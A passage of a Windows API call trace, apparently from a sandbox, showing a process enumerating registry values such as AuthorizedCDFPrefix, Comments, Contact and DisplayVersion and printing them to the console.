GetConsoleOutputCP () returned 0x1b5 [0149.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.673] GetConsoleOutputCP () returned 0x1b5 [0149.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.673] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.673] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.673] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.673] __iob_func () returned 0x7fefd702a80 [0149.673] _fileno (_File=0x7fefd702ab0) returned 1 [0149.673] _errno () returned 0x204bb0 [0149.673] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.673] _errno () returned 0x204bb0 [0149.673] GetFileType (hFile=0x50) returned 0x1 [0149.673] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0149.673] GetConsoleOutputCP () returned 0x1b5 [0149.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0149.673] GetConsoleOutputCP () returned 0x1b5 [0149.673] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0149.673] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0149.673] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.674] __iob_func () returned 0x7fefd702a80 [0149.674] _fileno (_File=0x7fefd702ab0) returned 1 [0149.674] _errno () returned 0x204bb0 [0149.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.674] _errno () returned 0x204bb0 [0149.674] GetFileType (hFile=0x50) returned 0x1 [0149.674] lstrlenW (lpString=" ") returned 4 [0149.674] GetConsoleOutputCP () returned 0x1b5 [0149.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.674] GetConsoleOutputCP () returned 0x1b5 [0149.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.674] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.674] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.674] __iob_func () returned 0x7fefd702a80 [0149.674] _fileno (_File=0x7fefd702ab0) returned 1 [0149.674] _errno () returned 0x204bb0 [0149.674] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.674] _errno () returned 0x204bb0 [0149.674] GetFileType (hFile=0x50) returned 0x1 [0149.674] lstrlenW (lpString="REG_SZ") returned 6 [0149.674] GetConsoleOutputCP () returned 0x1b5 [0149.674] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.675] GetConsoleOutputCP () returned 0x1b5 [0149.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.675] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.675] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.675] __iob_func () returned 0x7fefd702a80 [0149.675] _fileno (_File=0x7fefd702ab0) returned 1 [0149.675] _errno () returned 0x204bb0 [0149.675] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.675] _errno () returned 0x204bb0 [0149.675] GetFileType (hFile=0x50) returned 0x1 [0149.675] lstrlenW (lpString=" ") returned 4 [0149.675] GetConsoleOutputCP () returned 0x1b5 [0149.675] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.675] GetConsoleOutputCP () returned 0x1b5 [0149.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.676] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.676] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.676] __iob_func () returned 0x7fefd702a80 [0149.676] _fileno (_File=0x7fefd702ab0) returned 1 [0149.676] _errno () returned 0x204bb0 [0149.676] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.676] _errno () returned 0x204bb0 [0149.676] GetFileType (hFile=0x50) returned 0x1 [0149.676] lstrlenW (lpString="") returned 0 [0149.676] __iob_func () returned 0x7fefd702a80 [0149.676] _fileno (_File=0x7fefd702ab0) returned 1 [0149.676] _errno () returned 0x204bb0 [0149.676] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.676] _errno () returned 0x204bb0 [0149.676] GetFileType (hFile=0x50) returned 0x1 [0149.676] lstrlenW (lpString="\n") returned 1 [0149.676] GetConsoleOutputCP () returned 0x1b5 [0149.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.676] GetConsoleOutputCP () returned 0x1b5 [0149.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.676] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.676] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.677] GetProcessHeap () returned 0x3c0000 [0149.677] GetProcessHeap () returned 0x3c0000 [0149.677] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.677] GetProcessHeap () returned 0x3c0000 [0149.677] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.677] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.677] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.677] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.677] GetProcessHeap () returned 0x3c0000 [0149.677] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.677] GetProcessHeap () returned 0x3c0000 [0149.677] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.677] GetProcessHeap () returned 0x3c0000 [0149.677] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.677] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.677] __iob_func () returned 0x7fefd702a80 [0149.677] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.677] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.677] _fileno (_File=0x7fefd702ab0) returned 1 [0149.677] _errno () returned 0x204bb0 [0149.677] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.677] _errno () returned 0x204bb0 [0149.677] GetFileType (hFile=0x50) returned 0x1 [0149.677] lstrlenW (lpString=" ") returned 4 [0149.677] GetConsoleOutputCP () returned 0x1b5 [0149.677] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.678] GetConsoleOutputCP () returned 0x1b5 [0149.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.678] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.678] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.678] lstrlenW (lpString="Comments") returned 8 [0149.678] __iob_func () returned 0x7fefd702a80 [0149.678] _fileno (_File=0x7fefd702ab0) returned 1 [0149.678] _errno () returned 0x204bb0 [0149.678] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.678] _errno () returned 0x204bb0 [0149.678] GetFileType (hFile=0x50) returned 0x1 [0149.678] lstrlenW (lpString="Comments") returned 8 [0149.678] GetConsoleOutputCP () returned 0x1b5 [0149.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.678] GetConsoleOutputCP () returned 0x1b5 [0149.678] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0149.678] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.678] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.678] __iob_func () returned 0x7fefd702a80 [0149.678] _fileno (_File=0x7fefd702ab0) returned 1 [0149.678] _errno () returned 0x204bb0 [0149.678] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.678] _errno () returned 0x204bb0 [0149.678] GetFileType (hFile=0x50) returned 0x1 [0149.679] lstrlenW (lpString=" ") returned 4 [0149.679] GetConsoleOutputCP () returned 0x1b5 [0149.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.679] GetConsoleOutputCP () returned 0x1b5 [0149.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.679] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.679] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.679] __iob_func () returned 0x7fefd702a80 [0149.679] _fileno (_File=0x7fefd702ab0) returned 1 [0149.679] _errno () returned 0x204bb0 [0149.679] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.679] _errno () returned 0x204bb0 [0149.679] GetFileType (hFile=0x50) returned 0x1 [0149.679] lstrlenW (lpString="REG_SZ") returned 6 [0149.679] GetConsoleOutputCP () returned 0x1b5 [0149.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.679] GetConsoleOutputCP () returned 0x1b5 [0149.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.679] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.679] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.680] __iob_func () returned 0x7fefd702a80 [0149.680] _fileno (_File=0x7fefd702ab0) returned 1 [0149.680] _errno () returned 0x204bb0 [0149.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.680] _errno () returned 0x204bb0 [0149.680] GetFileType (hFile=0x50) returned 0x1 [0149.680] lstrlenW (lpString=" ") returned 4 [0149.680] GetConsoleOutputCP () returned 0x1b5 [0149.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.680] GetConsoleOutputCP () returned 0x1b5 [0149.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.680] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.680] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.680] __iob_func () returned 0x7fefd702a80 [0149.680] _fileno (_File=0x7fefd702ab0) returned 1 [0149.680] _errno () returned 0x204bb0 [0149.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.680] _errno () returned 0x204bb0 [0149.680] GetFileType (hFile=0x50) returned 0x1 [0149.680] lstrlenW (lpString="") returned 0 [0149.680] __iob_func () returned 0x7fefd702a80 [0149.680] _fileno (_File=0x7fefd702ab0) returned 1 [0149.680] _errno () returned 0x204bb0 [0149.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.680] _errno () returned 0x204bb0 [0149.680] GetFileType (hFile=0x50) returned 0x1 [0149.680] lstrlenW (lpString="\n") returned 1 [0149.681] GetConsoleOutputCP () returned 0x1b5 [0149.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.681] GetConsoleOutputCP () returned 0x1b5 [0149.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.681] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.681] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.681] GetProcessHeap () returned 0x3c0000 [0149.681] GetProcessHeap () returned 0x3c0000 [0149.681] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.681] GetProcessHeap () returned 0x3c0000 [0149.681] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.681] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.681] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.681] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.681] GetProcessHeap () returned 0x3c0000 [0149.681] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.681] GetProcessHeap () returned 0x3c0000 [0149.681] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.681] GetProcessHeap () returned 0x3c0000 [0149.681] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.681] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.681] __iob_func () returned 0x7fefd702a80 [0149.681] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.681] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.681] _fileno (_File=0x7fefd702ab0) returned 1 [0149.682] _errno () returned 0x204bb0 [0149.682] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.682] _errno () returned 0x204bb0 [0149.682] GetFileType (hFile=0x50) returned 0x1 [0149.682] lstrlenW (lpString=" ") returned 4 [0149.682] GetConsoleOutputCP () returned 0x1b5 [0149.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.682] GetConsoleOutputCP () returned 0x1b5 [0149.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.682] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.682] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.682] lstrlenW (lpString="Contact") returned 7 [0149.682] __iob_func () returned 0x7fefd702a80 [0149.682] _fileno (_File=0x7fefd702ab0) returned 1 [0149.682] _errno () returned 0x204bb0 [0149.682] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.682] _errno () returned 0x204bb0 [0149.682] GetFileType (hFile=0x50) returned 0x1 [0149.682] lstrlenW (lpString="Contact") returned 7 [0149.682] GetConsoleOutputCP () returned 0x1b5 [0149.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.682] GetConsoleOutputCP () returned 0x1b5 [0149.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0149.683] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.683] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.683] __iob_func () returned 0x7fefd702a80 [0149.683] _fileno (_File=0x7fefd702ab0) returned 1 [0149.683] _errno () returned 0x204bb0 [0149.683] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.683] _errno () returned 0x204bb0 [0149.683] GetFileType (hFile=0x50) returned 0x1 [0149.683] lstrlenW (lpString=" ") returned 4 [0149.683] GetConsoleOutputCP () returned 0x1b5 [0149.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.683] GetConsoleOutputCP () returned 0x1b5 [0149.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.683] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.683] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.683] __iob_func () returned 0x7fefd702a80 [0149.683] _fileno (_File=0x7fefd702ab0) returned 1 [0149.683] _errno () returned 0x204bb0 [0149.683] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.683] _errno () returned 0x204bb0 [0149.683] GetFileType (hFile=0x50) returned 0x1 [0149.683] lstrlenW (lpString="REG_SZ") returned 6 [0149.683] GetConsoleOutputCP () returned 0x1b5 [0149.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.684] GetConsoleOutputCP () returned 0x1b5 [0149.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.684] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.684] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.684] __iob_func () returned 0x7fefd702a80 [0149.684] _fileno (_File=0x7fefd702ab0) returned 1 [0149.684] _errno () returned 0x204bb0 [0149.684] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.684] _errno () returned 0x204bb0 [0149.684] GetFileType (hFile=0x50) returned 0x1 [0149.684] lstrlenW (lpString=" ") returned 4 [0149.684] GetConsoleOutputCP () returned 0x1b5 [0149.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.684] GetConsoleOutputCP () returned 0x1b5 [0149.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.684] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.684] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.684] __iob_func () returned 0x7fefd702a80 [0149.684] _fileno (_File=0x7fefd702ab0) returned 1 [0149.684] _errno () returned 0x204bb0 [0149.684] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.685] _errno () returned 0x204bb0 [0149.685] GetFileType (hFile=0x50) returned 0x1 [0149.685] lstrlenW (lpString="") returned 0 [0149.685] __iob_func () returned 0x7fefd702a80 [0149.685] _fileno (_File=0x7fefd702ab0) returned 1 [0149.685] _errno () returned 0x204bb0 [0149.685] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.685] _errno () returned 0x204bb0 [0149.685] GetFileType (hFile=0x50) returned 0x1 [0149.685] lstrlenW (lpString="\n") returned 1 [0149.685] GetConsoleOutputCP () returned 0x1b5 [0149.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.685] GetConsoleOutputCP () returned 0x1b5 [0149.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.685] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.685] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.685] GetProcessHeap () returned 0x3c0000 [0149.685] GetProcessHeap () returned 0x3c0000 [0149.685] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.685] GetProcessHeap () returned 0x3c0000 [0149.685] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.685] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.685] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.685] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x16) returned 0x0 [0149.686] GetProcessHeap () returned 0x3c0000 [0149.686] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3df290 [0149.686] GetProcessHeap () returned 0x3c0000 [0149.686] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.686] GetProcessHeap () returned 0x3c0000 [0149.686] RtlSizeHeap 